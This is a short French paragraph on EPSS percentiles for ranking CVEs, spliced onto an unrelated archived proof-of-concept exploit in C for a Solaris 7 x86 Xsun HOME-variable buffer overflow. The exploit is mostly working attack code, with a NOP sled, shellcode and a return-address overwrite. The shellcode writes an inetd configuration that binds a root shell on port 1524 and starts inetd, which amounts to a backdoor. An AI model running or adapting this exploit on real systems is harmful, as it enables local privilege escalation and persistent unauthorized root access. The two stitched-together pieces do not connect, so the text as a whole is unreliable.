Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/2561/info The X11 server that ships with Sun Microsystems' Solaris, Xsun, contains a locally exploitable buffer overflow vulnerability. The condition is present when the value of the HOME environment variable is of excessive length (more than 1050 bytes long). An attacker may exploit this vulnerability to execute arbitrary code with effective group 'root' privileges. /***********************************/ Solaris 7 (x86) /usr/openwin/bin/Xsun HOME environment overflow Proof of Concept Exploitation riley@eeye.com Puts a Root shell on local port 1524 /***********************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFLEN 1041 /* seteuid/setuid/inetd shell */ char eyecode[] = "\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e" "\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c" "\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50" "\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46" "\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56" "\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e" "\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2" "\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff" "\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73" "\x68\x20\x2d\x63\x20" "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;" "/usr/sbin/inetd -s /tmp/eeye2001"; char buf[BUFLEN]; unsigned long int nop, esp; long int offset = 0; unsigned long int get_esp() {__asm__("movl %esp,%eax");} int main (int argc, char *argv[]) { int i; if (argc > 1) offset = strtol(argv[1], NULL, 0); else offset = -200; esp = get_esp(); memset(buf, 0x90, BUFLEN); memcpy(buf+800, eyecode, strlen(eyecode)); *((int *) &buf[1037]) = esp+offset; strncpy(&buf[0],"HOME=",5); putenv(buf); execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL); return; }
